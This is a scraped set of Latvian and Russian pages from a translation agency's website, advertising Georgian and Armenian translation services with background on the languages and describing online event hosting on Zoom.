tulkojumi gruzīnu valodā; steidzami rakstiski tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana gruzīnu valodā; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi gruzīnu valodā; individuālie gruzīnu valodas kursi. Meklējiet valodu risinājumus gruzīnu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR GRUZĪNU VALODU Gruzīnu valoda ir viena no vecākajām un unikālākajām valodām pasaulē, kurai līdz pat mūsdienām ir izdevies saglabāt lielāko daļu oriģinālā alfabēta un izrunas. Tā atspoguļo gadsimtiem seno gruzīnu tautas vēsturi. Gruzīnu valoda ir valsts valoda visiem Gruzijas iedzīvotājiem; tā vieno kartvelu ciltis un citas etniskās grupas, kas vēsturiski dzīvo Gruzijas teritorijā. Gruzīnu valoda pieder pie Kaukāza valodām, valodu grupai, kurā runā Kaukāza kalnu reģionā, un šo valodu vēsture tiek datēta jau tūkstošgadēs. Tā ir kartvelu grupas valoda kopā ar tādām valodām kā mengrelu, svanu un lazu valodas. Pēc valodnieku domām, gruzīnu sarunvaloda radusies pirms tās rakstiskās formas, un liecības par tās senajām saknēm apstiprina mūsdienu dialekti. Gruzīnu valodas dialekti atbilst gruzīnu etnogrāfiskajam iedalījumam. Kopumā gruzīnu valodā ir vismaz 17 dialekti, kas saglabā unikālas morfoloģiskās, sintaktiskās, leksiskās un fonētiskās iezīmes. Piemēram, kalnainajos Kazbegi, Hevsuretijas un Tušetijas reģionos cilvēki lieto neparastus izteicienus un vārdu formas, kas nav izplatītas citās valsts daļās. Tā kā akcenti un terminoloģija katrā reģionā ir unikāla, ir diezgan viegli noteikt, no kuras Gruzijas daļas ir nākusi persona. Gruzīnu valodas dialekti: Rietumgruzijā – adžāriešu, guriešu, imeretiešu, lečhumiešu un račiniešu dialekti. Austrumgruzijā – kartliešu (literārās valodas pamatā), kahetiešu, moheviešu, mtiulu, pšavu, tušinu un hevsūru dialekti. Dienvidgruzijā – džavahu un meshu dialekti. Ārpus Gruzijas – ingoloicu (Azerbaidžānā), fereidaniešu (Irānā) un imerhevcu (Turcijā). Senākā informācija par gruzīnu valodu ir atrodama 2. gs. piezīmēs, ko sarakstījis romiešu orators Markuss Kornēlijs Frontons, kurš minējis, ka Gruzijas austrumu ibērieši runāja ar imperatoru Marku Aurēliju “nesaprotamā valodā”. Agrākās liecības par gruzīnu rakstības esamību ir datētas ar mūsu ēras 430. gadu. Tā ir akmens plāksne, kas atrasta Palestīnā. Uz plāksnes ir teksts asomtavruli rakstu formā, kas bija pirmā gruzīnu valodas rakstītā forma. GRUZĪNU ALFABĒTS Gruzīnu alfabēts ir gruzīnu valodas, kā arī dažu mazskaitlīgāku (mengrelu, lazu, svanu) valodu pierakstam lietots fonogrāfisks raksts. Vēsture liecina, ka to radīja ap 412. gadu p. m. ē. gruzīnu mitraisma priesteri. Par raksta paraugu tiek uzskatīti gan aramiešu, gan feniķiešu raksti. Ibērijas cars Parnavazs I 284. gadā p. m. ē. to reformēja, radīdams pirmo gruzīnu raksta formu — asomtavruli (kapitālrakstu). Gruzīnu raksts vēsturiski pastāvējis trīs dažādos veidos: Asomtavruli (kapitālraksts) — lietots līdz 9. —10. gadsimtam, pēc tam tikai virsrakstos; Nushuri (mazo burtu raksts) — lietots no 9. līdz 10. gadsimtam, pēc tam līdz 19. gadsimtam tikai garīgajos tekstos; Mhedruli (laicīgais raksts) — lieto no 11. gadsimta līdz mūsdienām. Iesākumā mhedruli bija 38 burti, bet no 19. gadsimta 60. gadiem — 33 burti. Raksta horizontāli no kreisās puses uz labo. Gruzīnu rakstā nav lielo burtu. Dažu burtu izruna ir sastopama tikai gruzīnu valodā, līdz ar to gruzīnu valoda ir viena no sarežģītākajām valodām pasaulē. Gruzīnu alfabēts piesaista uzmanību ar savu burtu kaligrāfiju, katru burtu var uzskatīt par īstu mākslas darbu, tie ir tik skaisti, unikāli un izsmalcināti. Alfabēts ir iekļauts UNESCO nemateriālā kultūras mantojumu sarakstā kā viens no vecākajiem un skaistākajiem alfabētiem pasaulē. KUR UN CIK DAUDZ RUNĀ GRUZĪNU VALODĀ? Pasaulē ir aptuveni 4,1 milj. cilvēku, kuru dzimtā valoda ir gruzīnu valoda. Lielākā daļa runātāju dzīvo Gruzijā — 3,7 milj. cilvēku; pārējo runātāju skaitu veido gruzīnu diasporas ārvalstīs: Krievijā — 130 tūkst. ; Turcijā — 100 tūkst. , Ukrainā —23 tūkst. ; Irānā — 10 tūkst. ; Azerbaidžānā — 14,2 tūkst. , kā arī neliels skaits gruzīnu citās valstīs. CIK SAREŽĢĪTA IR GRUZĪNU VALODA? Gruzīnu valoda tiek uzskatīta par 4. sarežģītāko valodu pasaulē. Tai ir savs unikāls alfabēts, kuram nav analogu nevienā citā pasaules valodā. Gruzīnu alfabēts ir viens no senākajiem pasaulē. Daudzas skaņas gruzīnu valodas izrunā nav sastopamas nevienā citā valodā. Arī gramatiskās formas ir specifiskas, tekstos neizmanto lielos burtus, daudzi vārdi sastāv lielākoties no līdzskaņiem, tādēļ to izruna ir ļoti sarežģīta. GRUZĪNU VALODAS TULKS UN TULKOTĀJS Skrivanek tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu gruzīnu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams tiek veikta redaktūra un terminoloģijas pārbaude. Mūsu gruzīnu valodas speciālisti var sniegt informāciju par kultūras atšķirībām, lietišķo etiķeti, vēsturi un Gruzijas tradīcijām. Biznesa klientiem visbiežāk veicam šādus tulkojumus no/uz gruzīnu valodu – e-komercijas satura un mājaslapu tulkojumus, reklāmas saukļu, mārketinga tulkojumus. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. GRUZĪNU VALODA BIZNESĀ Gruzīnu valoda kā biznesa valoda pamatā tiek izmantota tikai Gruzijas teritorijā. Ņemot vērā faktu, ka gruzīnu tautai viņu valoda, tāpat kā vēsture, tradīcijas ir viņu lielākais lepnums un bagātība, biznesa attiecību veidošanai ar Gruzijas uzņēmējiem, liela vērtība būtu zināt kaut dažas frāzes gruzīnu valodā. Biznesa kontaktu dibināšanai gruzīnu uzņēmēji bieži izmanto arī krievu un angļu valodu. GRUZĪNI LATVIJĀ Gruzīnu diaspora Latvijā ir neliela – galvenokārt studenti, kuri šeit atbraukuši iegūt izglītību. Ir arī tie cilvēki, kuri uz Latviju pārcēlušies pirms daudziem gadiem, tāpēc ir labi integrējušies un pat ieguvuši Latvijas pilsonību. Latvijā mitinās gan gruzīnu izcelsmes ārsti, gan ļoti daudz mākslinieku. Palielinoties gruzīnu skaitam Latvijā, kā arī pašu latviešu interesei par citām kulturām un ēdieniem, Latvijā tiek atvērti gruzīnu restorāni. Kopš 1993. gada Latvijā darbojas Latvijas gruzīnu biedrība “Samšoblo”, kas apvieno visus Latvijā dzīvojošos gruzīnus un Gruzijas atbalstītājus: facebook. com/LGBsamsoblo Latvijā atrodas arī Gruzijas vēstniecība: latvia. mfa. gov. ge GRUZĪNU VALODAS DIENA Katru gadu 14. aprīlī Gruzijā atzīmē gruzīnu valodas dienu. Lai gan šī diena pirmo reizi tika atzīmēta 1990. gadā, tās vēsture aizsākās līdz ar Padomju Savienības plāniem 1978. gadā Gruzijas Padomju Republikā atcelt valodas oficiālo statusu. Padomju Savienības laikā Gruzija bija viena no retajām republikām, kur dzimtā valoda bija arī republikas oficiālā valoda. Taču 1978. gadā valodas statuss tika apdraudēts pieņemtās 1977. gada padomju konstitūcijas dēļ, kurā gruzīnu valodai tiktu atņemts oficiālās valodas statuss. Šis lēmums ļoti sadusmoja gruzīnu studentus, kuri 1978. gada 14. aprīlī, dienā, kad bija jāratificē tiesību akti, devās gājienā pa Tbilisi ielām. Tas viss vainagojās ar protestiem pie valdības ēkām un toreizējā Tbilisi parkā, kas tagad pazīstams kā Dedaena vai Dzimtās valodas parks. Toreizējais Gruzijas Komunistiskās partijas Centrālās komitejas pirmais sekretārs Eduards Ševardnadze vispirms aicināja studentus izbeigt demonstrācijas. Tomēr, saprotot to, ka ar aicinājumu vien nepietiks un to, cik ļoti svarīgs ir valodas jautājums gruzīnu tautai, Ševardnadze vienojās ar Kremli, ka neatņems gruzīnu valodai tās oficiālo statusu. Tas bija bezprecedenta notikums: masu demonstrācijas pārliecināja padomju varu un lēmums patiesi tika atcelts. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZ/NO GRUZĪNU VALODAS: dokumentu tulkojumi gruzīnu valodā; steidzami rakstiski tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana gruzīnu valodā; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi gruzīnu valodā; individuālie gruzīnu valodas kursi. GRUZĪNU VALODAS KOMBINĀCIJAS: gruzīnu–latviešu; latviešu–gruzīnu; gruzīnu–lietuviešu; lietuviešu–gruzīnu; igauņu–gruzīnu; gruzīnu–igauņu; angļu–gruzīnu; gruzīnu–angļu; krievu–gruzīnu; gruzīnu–krievu; poļu–gruzīnu; gruzīnu –poļu; ukraiņu–gruzīnu; gruzīnu–ukraiņu; čehu–gruzīnu; gruzīnu–čehu; vācu–gruzīnu; gruzīnu–vācu; spāņu–gruzīnu; gruzīnu–spāņu; franču–gruzīnu; gruzīnu–franču; itāļu–gruzīnu; gruzīnu–itāļu; dāņu–gruzīnu; gruzīnu–dāņu; zviedru–gruzīnu; gruzīnu–zviedru; norvēģu–gruzīnu; gruzīnu–norvēģu; somu–gruzīnu; gruzīnu–somu, gruzīnu–arābu; arābu–gruzīnu; gruzīnu–armēņu, armēņu–gruzīnu; gruzīnu–baltkrievu, baltkrievu–gruzīnu; bulgāru–gruzīnu, gruzīnu–bulgāru; gruzīnu–ebreju, ebreju–gruzīnu, gruzīnu–grieķu, grieķu–gruzīnu; gruzīnu–gruzīnu; gruzīnu–gruzīnu; gruzīnu–hindi; hindi–gruzīnu; gruzīnu–holandiešu; holandiešu–gruzīnu; gruzīnu–korejiešu; korejiešu–gruzīnu; gruzīnu–kurdu; kurdu–gruzīnu; gruzīnu–ķīniešu; ķīniešu–gruzīnu; gruzīnu–portugāļu; portugāļu–gruzīnu; gruzīnu–rumāņu; rumāņu–gruzīnu; gruzīnu–slovāku; slovāku–gruzīnu; gruzīnu–slovēņu; slovēņu–gruzīnu; gruzīnu–turku; turku–gruzīnu; gruzīnu–ungāru; ungāru–gruzīnu u. c. --- > Saņemiet bezmaksas cenu aprēķinu 15 minūtēs! Tulkojumi no/uz armēņu valodu. Sertificēts tulkošanas birojs ar vairāk nekā 25 gadu pieredzi. - Published: 2021-11-19 - Modified: 2025-07-21 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-armenu-valoda/ - Translation Priorities: Optional TULKOJUMI ARMĒŅU VALODĀ / TULKOT ARMĒŅU VALODĀ CIK MAKSĀ TULKOŠANA ARMĒŅU VALODĀ? Katram pasūtījumam cena tiek noteikta individuāli. Pakalpojuma cenu veido vairākas komponentes – tulkojuma izpildes termiņi, teksta specifika, koriģēšana, formatēšana, kā arī klienta pasūtītie papildu pakalpojumi, piemēram, notariāls apliecinājums. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, tulkojumu cenrādis no/uz armēņu valodu ir neatņemama sadarbības līguma daļa, un klients vienmēr tiek informēts par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Tulkojuma cenas tiek noteiktas ļoti individuāli, balstoties uz tulkojuma specifiku (rakstiskais vai mutiskais tulkojums), vārdu skaitu oriģināltekstā, teksta atkārtošanos tulkojumā un citiem parametriem. Lai saņemtu tieši jums sagatavotu piedāvājumu, vienkārši nosūtiet mums materiālu, kuru vēlaties tulkot. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZ UN NO ARMĒŅU VALODAS: dokumentu tulkojumi armēņu valodā; steidzami tulkojumi; notariāli apliecināts tulkojums; lokalizācija; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi armēņu valodā; individuālie armēņu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Nepieciešams tulkojums vai valodu kursi armēņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI ARMĒŅU VALODĀ / TULKOT ARMĒŅU VALODĀ CIK MAKSĀ TULKOŠANA ARMĒŅU VALODĀ? Katram pasūtījumam cena tiek noteikta individuāli. Pakalpojuma cenu veido vairākas komponentes – tulkojuma izpildes termiņi, teksta specifika, koriģēšana, formatēšana, kā arī klienta pasūtītie papildu pakalpojumi, piemēram, notariāls apliecinājums. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, tulkojumu cenrādis no/uz armēņu valodu ir neatņemama sadarbības līguma daļa, un klients vienmēr tiek informēts par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Tulkojuma cenas tiek noteiktas ļoti individuāli, balstoties uz tulkojuma specifiku (rakstiskais vai mutiskais tulkojums), vārdu skaitu oriģināltekstā, teksta atkārtošanos tulkojumā un citiem parametriem. Lai saņemtu tieši jums sagatavotu piedāvājumu, vienkārši nosūtiet mums materiālu, kuru vēlaties tulkot. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZ UN NO ARMĒŅU VALODAS: dokumentu tulkojumi armēņu valodā; steidzami tulkojumi; notariāli apliecināts tulkojums; lokalizācija; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi armēņu valodā; individuālie armēņu valodas kursi. Nepieciešams tulkojums vai valodu kursi armēņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt ARMĒŅU VALODA FAKTOS Armēņu valoda ir viena no indoeiropiešu saimes valodām, kurā mūsdienās runā aptuveni 8 miljoni cilvēku visā pasaulē. Armēņu valoda ir oficiālā valsts valoda Armēnijā un Kalnu Karabahā, taču ievērojama daļa armēņu diasporas ─ Sīrijā, Libānā, Irānā, Irākā, Turcijā, Jordānā, Izraēla, Kiprā un citviet ─ par savu dzimto valodu sauc tieši armēņu valodu. Līdz 20. gs. 90. gadiem Armēnijā skolās mācības notika armēņu un krievu valodā, bet pēc Padomju Savienības sabrukuma armēņu valoda kļuva par mācību pamatvalodu un visas skolas, kurās mācības notika krievu valodā, tika slēgtas. 2010. gadā gan tika atjaunota izglītības apguve arī krievu valodā. Vēsturiski saglabājušies ļoti maz faktu par armēņu valodas pirmsākumiem, ir atrodami fakti par to no 6. gs. pirms mūsu ēras. Pirmo reizi armēņu valoda rakstiskā formā parādās 5. gs. , kad tika izveidots armēņu alfabēts. Tradicionāli izšķir trīs armēņu valodas attīstības posmus: senarmēņu rakstu valodas attīstības posmu no 5. līdz 11. gs. , kam seko vidusarmēņu valodas attīstības posms no 12. līdz 16. gs. un mūsdienu armēņu valodas posms kopš 17. gs. Ir divas vispārpieņemtas armēņu valodas formas: austrumu armēņu valoda, kas ir veidojusies uz Ararata līdzenuma dialekta pamata, un kurā runā Armēnijā, Kalnu Karabahā, Gruzijā un Irānā; un rietumu armēņu valoda, kas ir veidojusies uz Konstantinopoles un Krimas pussalas dialekta pamata, un kurā runā armēņu diaspora. Tā ir arī izglītības un plašsaziņas līdzekļu valoda. Armēņu valodā uzsvars parasti ir uz vārda pēdējās zilbes. Interesanti ir tas, ka valodai nav dzimtes kategorijas, sieviešu dzimte tiek veidota, pievienojot vārdam galotni. Vēl sarežģītāku valodas apguvi padara fakts, ka armēņu valodā teikuma beigās ir nevis punkts, bet kols, komatu vietās tiek izmantots punkts. Daudzām skaņām armēņu valodā nav analogu nevienā citā pasaules valodā. Gramatiskās iezīmes starp rietumarmēņu un austrumarmēņu valodām ir nedaudz atšķirīgas, kā arī abu armēņu literāro valodu fonoloģisko sistēmu atšķirību dēļ vienam un tam pašam vārdam var būt dažāda izruna. Armēņu valodā ir aptuveni 60 dialektu. Mūsdienās izplatītākās dialektu grupas ir Ararata dialekts austrumu zarā un Mazāzijas dialekts rietumu zarā. Izņemot islāmticīgos hamšeniešus Turcijā un daļu Ziemeļkaukāza armēņu, pārējie dialektu runātāji saskarē ar citu dialektu pārstāvjiem un oficiālajā lietvedībā, darbā, izglītībā lieto arī kādu no abām literārās valodas formām. ARMĒŅU ALFABĒTS Armēņu alfabēta izveide joprojām ir unikāls notikums pasaules lingvistikas vēsturē. Armēņu alfabētā ir 39 burti, ar kuriem apzīmē 36 skaņas. Tas ir viens no bagātākajiem alfabētiem pasaulē. Alfabēts sastāv no 7 patskaņiem un 29 līdzskaņiem, kā arī trīs papildu burtiem, kas parasti apzīmē skaņu savienojumus. Armēņu alfabēta burti apzīmē arī skaitļus. Armēņu alfabētu 405. gadā radīja armēņu mūks, teologs un lingvists Mesrops Maštocs. IV gadsimta beigās Armēnijas valdnieks Vramšapuhs lūdza izcilo zinātnieku izveidot jaunu alfabētu armēņu valodai. Pirms tam rakstīšanai armēņu valodā tika izmantots ķīļraksts, kas, pēc armēņu garīdznieku domām, nebija piemērots reliģisku darbu rakstīšanai. Maštocs devās uz Aleksandriju, kur studēja rakstīšanas pamatus un nonāca pie secinājuma, ka grieķu alfabēts ir vispiemērotākais armēņu alfabēta izveidošanai. Viņš izmantoja grieķu alfabētu kā paraugu jaunajam alfabētam un parādīja to valdniekam, kad atgriezās Armēnijā 405. gadā. Senarmēņu alfabētu lieto arī mūsdienu austrumarmēņu un rietumarmēņu valodā. Lai gan skaņu sastāvs abos literārās valodas variantos nedaudz atšķiras, to apzīmēšanai izmanto vienādu skaitu grafēmu ar nedaudzām variācijām. Jaunais alfabēts saņēma atzinību, un jau 405. gadā tika publicēts jauns Bībeles tulkojums armēņu valodā. Drīz pēc tam parādījās arī citi literārie darbi. 2005. gadā visa armēņu tauta svinēja armēņu alfabēta, kas ir viens no senākajiem alfabētiem pasaulē, 1600. gadadienu. Zīmīgi, ka šajā ilgajā periodā tas nav piedzīvojis būtiskas izmaiņas. Par godu šim nozīmīgajam notikumam Aragata kalna austrumu nogāzē tika uzstādīti visi 39 armēņu alfabēta akmens burti. Tāda pieminekļa burtiem nav nekur citur pasaulē. KUR UN CIK DAUDZ RUNĀ ARMĒŅU VALODĀ? Armēņu valodā runā aptuveni 8 milj. , no kuriem aptuveni 3 milj. , dzīvo Armēnijā, bet pārējie ārpus tās robežām – Krievijā, Gruzijā, Ukrainā, Tuvajos Austrumos, Dienvidaustrumu Eiropā ─ Bulgārijā, Rumānijā, Grieķijā, Francijā armēņi ir viena no lielākajām diasporām. 19. gadsimtā sākās armēņu izceļošana uz Ziemeļameriku, mūsdienās aptuveni 2 milj. cilvēku ASV un Kanādā par savu dzimto valodu uzskata armēņu valodu. 20. gs. 90. gados pēc Karabahas konflikta un tam sekojošās ekonomiskās krīzes pieauga arī armēņu ieceļotāju skaits Baltijas valstīs, Latvijā mīt aptuveni 4 tūkstoši armēņu. Rīgā atrodas un darbojas armēņu Apustuliskās draudzes dievnams ─ Svētā Gregora Apgaismotāja Armēņu Apustuliskā baznīca. CIK SAREŽĢĪTA IR ARMĒŅU VALODA? Ņemot vērā faktu, ka armēņu valoda ir viena no senākajām valodām pasaulē, tai ir savs neatkārtojams alfabēts, armēņu valodas apguve ir ļoti sarežģīta. Armēņu alfabētam ir 17 gadsimtus sena vēsture. Tas ir unikāls un tam nav analoga nevienā citā valodā, tādēļ būtu nepieciešami vismaz 5 gadi intensīvu studiju, lai varētu saukt sevi par armēņu valodas pratēju. Tas, protams, ir ļoti individuāli. Daudzi valodu speciālisti norāda, ka visefektīvākā armēņu valodas apguve ir iespējama tikai atrodoties ikdienā valstī, kur tajā runā gandrīz visi tās iedzīvotāji. Tā ir iespēja ikdienā izmantot valodu, iepazīt to caur vēsturi, tradīcijām, kultūru. Mūsdienās tieši armēņu valodas unikalitāte, armēņu tautas noslēpumainība, vēsture, tradīcijas ir iemesls tam, kādēļ cilvēki izvēlas armēņu valodas studijas. ARMĒŅU VALODAS TULKS UN TULKOTĀJS Tulkošanas birojs Skrivanek nodrošina dažādu dokumentu un tekstu tulkojumus armēņu valodā gan privātpersonām, gan uzņēmumiem. Tulkošanu veic armēņu valodas tulkotāji ar ilggadēju pieredzi tulkošanā un profesionālām zināšanām jomā, kurā ir tulkojamais oriģinālteksts. Visi tulkojumi tiek veikti saskaņā ar tulkošanas procesu vadības standartu ISO 17100:2015. Par teksta stilistisko uzlabošanu un redaktūru parūpēsies mūsu armēņu valodas korektori. Atbilstoši klientu vēlmēm nodrošinām gan regulārus lietišķo tekstu tulkojumus, gan arī notariāli apliecinātus tulkojumus armēņu valodā, kurus paraksta diplomēts profesionāls armēņu valodas tulks un zvērināts notārs. Veicam tehniskās dokumentācijas, mājaslapu tulkojumus, līgumu un e-komercijas satura tulkojumus no vai uz armēņu valodu. Jebkurai klienta vēlmei mēs noteikti atradīsim nepieciešamo risinājumu un valodas speciālistu. Fiziskām personām nodrošinām personu apliecinošu dokumentu tulkojumus, laulību apliecību, izglītības dokumentu u. c. civiltiesisko dokumentu rakstiskos tulkojumus. Tāpat fiziskām personām piedāvājam arī mutiskos tulkojumus no/uz armēņu valodu, piemēram, kāzās. Skrivanek armēņu valodas tulki vienmēr būs pagodināti palīdzēt ar mutisko tulkošanu tiesas sēdē vai arī svarīgās darījumu pārrunās. ARMĒŅU VALODA BIZNESĀ Kā biznesa valodu armēņu valodu praktiski izmanto tikai Armēnijā. Aptuveni 98 % Armēnijas iedzīvotāju tā ir dzimtā un ikdienas saziņas valoda gan mājās, gan darba vietā. Biznesa komunikācijai ar sadarbības partneriem no citām valstīm tiek izmantota krievu un angļu valoda. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZ UN NO ARMĒŅU VALODAS: dokumentu tulkojumi armēņu valodā; steidzami tulkojumi; notariāli apliecināts tulkojums; lokalizācija; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi armēņu valodā; individuālie armēņu valodas kursi. ARMĒŅU VALODAS KOMBINĀCIJAS: armēņu–latviešu; latviešu–armēņu; armēņu–lietuviešu; lietuviešu–armēņu; igauņu–armēņu; armēņu–igauņu; angļu–armēņu; armēņu–angļu; krievu–armēņu; armēņu–krievu; poļu–armēņu; armēņu –poļu; ukraiņu–armēņu; armēņu–ukraiņu; čehu–armēņu; armēņu–čehu; vācu–armēņu; armēņu–vācu; spāņu–armēņu; armēņu–spāņu; franču–armēņu; armēņu–franču; itāļu–armēņu; armēņu–itāļu; dāņu–armēņu; armēņu–dāņu; zviedru–armēņu; armēņu–zviedru; norvēģu–armēņu; armēņu–norvēģu; somu–armēņu; armēņu–somu u. c. --- > Необходимо организовать онлайн-мероприятие? Skrivanek Baltic предлагает профессиональные услуги проведения мероприятий в виртуальной среде! - Published: 2021-09-21 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tiessaistes-pasakumu-rikosana/ Мир меняется, и мы меняемся вместе с ним. Уже довольно давно личные встречи, семинары и конференции заменила виртуальная жизнь. В режиме онлайн проводятся даже церемонии вручения призов и корпоративные мероприятия! Чтобы все прошло идеально даже в виртуальной среде, стоит обратиться за помощью к профессионалам. Языковое предприятие Skrivanek Baltic является опытным партнером по организации различных мероприятий и в настоящий момент специализируется на проведении онлайн-мероприятий на платформе Zoom. С нами вы можете быть уверены, что мероприятие пройдет идеально и совсем как при встрече с глазу на глаз. Наш опыт позволяет свободно работать и в многонациональной среде, когда звучат несколько языков одновременно. Планируете устроить виртуальную конференцию, участники которой говорят на нескольких иностранных языках? Предстоит серия важных для предприятия собраний, на которых должны присутствовать как Ваши работники, так и представители партнеров? На Ваше предприятие прибыл важный гость, владеющий только своим родным языком, но необходимо, чтобы на собрании, организованном на платформе Zoom, его поняли все сотрудники? Или Вы просто хотите поднять дух своей замечательной команды и устроить вечеринку, когда каждый сидит у себя дома, но все вместе развлекаются онлайн? Наши специалисты помогут в каждой из этих ситуаций, а также разработают эффективный сценарий для любого события. Модерирование любого мероприятия бывает непростой задачей, но оно вдвойне усложняется при проведении виртуальных мероприятий, когда нет реального зрительного контакта, реакции аудитории. Skrivanek Baltic предлагает профессиональное модерирование мероприятий или, если Вы решаете сделать это сами, – инструкцию, как провести онлайн-мероприятие, чтобы получить максимальную отдачу. О технических вопросах можете не беспокоиться, мы берем их на себя – организуем как онлайн-страницу, так и в случае необходимости разделим участников на разные группы. На платформе Zoom возможен как последовательный, так и синхронный перевод. Если Вы хотите запечатлеть мероприятие, мы готовы это сделать – по запросу Вы получите видео- и аудиозаписи содержания мероприятия, а также ссылку на видео и звуковую дорожку. Видео- и аудиофайлы предоставляются уже в отредактированном виде – без каких-либо изменений содержания, но очищенные от ненужных пауз в начале или конце записи. Если использовались услуги синхронного переводчика, в видеозапись можно включить один язык мероприятия по выбору. Являясь языковыми профессионалами, мы обеспечиваем услуги перевода более чем на 110 языков – с нами общение станет легче, чем когда-либо! В случае необходимости мы подготовим отчет об активности участников, включая длительность их подключения, а также предоставим выписку из чата мероприятия в текстовой форме. А если кто-то волнуется о том, как он выглядит на экране, мы подключим возможность улучшения видеосигнала участника в прямом эфире Zoom! ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ Skrivanek Baltic — это сертифицированное бюро переводов, работающее в Латвии с 2003 года. Мы предлагаем языковые услуги высочайшего качества. Группа Skrivanek обладает более чем 25-летним опытом и является одним из крупнейших поставщиков языковых услуг в мире. В настоящее время она насчитывает почти пятьдесят филиалов в разных странах мира: США, Австрии, Бельгии, Болгарии, Чехии, Эстонии, Литве, Польше, Словакии, Словении и Германии. В 2007 году открылась Языковая школа Skrivanek Baltic, где взрослые и дети могут выучить иностранный язык и усовершенствовать свои навыки под руководством опытных, высококвалифицированных преподавателей, а также расширить свой лингвистический кругозор. Мы выполняем устный и письменный перевод и предлагаем широкий спектр языковых решений. Наши устные переводчики работают на конференциях и деловых встречах, а также оказывают поддержку в ходе судебных процессов. Письменные переводы включают специализированные и общие переводы в различных областях. Кроме того, мы выполняем локализацию и адаптацию, занимаемся копирайтингом, компьютерной версткой и преподаванием языков. Все зависит от конкретной договоренности и ваших требований. Продолжительность работы устного переводчика определяете только вы. НУЖЕН ПЕРЕВОД ИЛИ ПОМОЩЬ В 